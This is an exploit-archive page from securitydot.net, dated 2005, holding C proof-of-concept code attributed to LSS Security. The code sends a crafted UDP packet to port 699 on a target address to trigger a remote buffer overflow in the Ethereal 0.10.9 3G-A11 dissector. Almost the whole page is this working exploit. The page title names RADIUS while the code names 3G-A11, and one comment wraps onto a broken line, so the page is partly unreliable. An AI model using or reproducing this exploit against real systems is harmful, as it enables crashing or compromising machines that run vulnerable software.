exploits , vulnerabilities , articles , Ethereal v0.10.9 RADIUS Auth. Remote Buffer Overflow Exploit

Rated as : High 

/*
*
* Ethereal 3G-A11 remote buffer overflow PoC exploit
* --------------------------------------------------
* Coded by Leon Juranic <ljuranic@lss.hr>
* LSS Security <http://security.lss.hr/en/>
*
*/

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>


main (int argc, char **argv)
{
int sock;
struct sockaddr_in sin;
unsigned char buf[1024];
char bla[200];

sock=socket(AF_INET,SOCK_DGRAM,0);

sin.sin_family=AF_INET;
sin.sin_addr.s_addr = inet_addr(argv[1]);
sin.sin_port = htons(699);

buf[0] = 22;
memset(buf+1,'A',19);
buf[20] = 38;
*(unsigned short*)&buf[22] = htons(100);
*(unsigned short*)&buf[28] = 0x0101;
buf[30] = 31;
buf[31] = 150; // len for overflow...play with this value if it doesn't
work

memset (bla,'B',200);
strncpy (buf+32,bla,180);

sendto (sock,buf,200,0,(struct sockaddr*)&sin,sizeof(struct sockaddr));
}
securitydot.net - 2005-03-08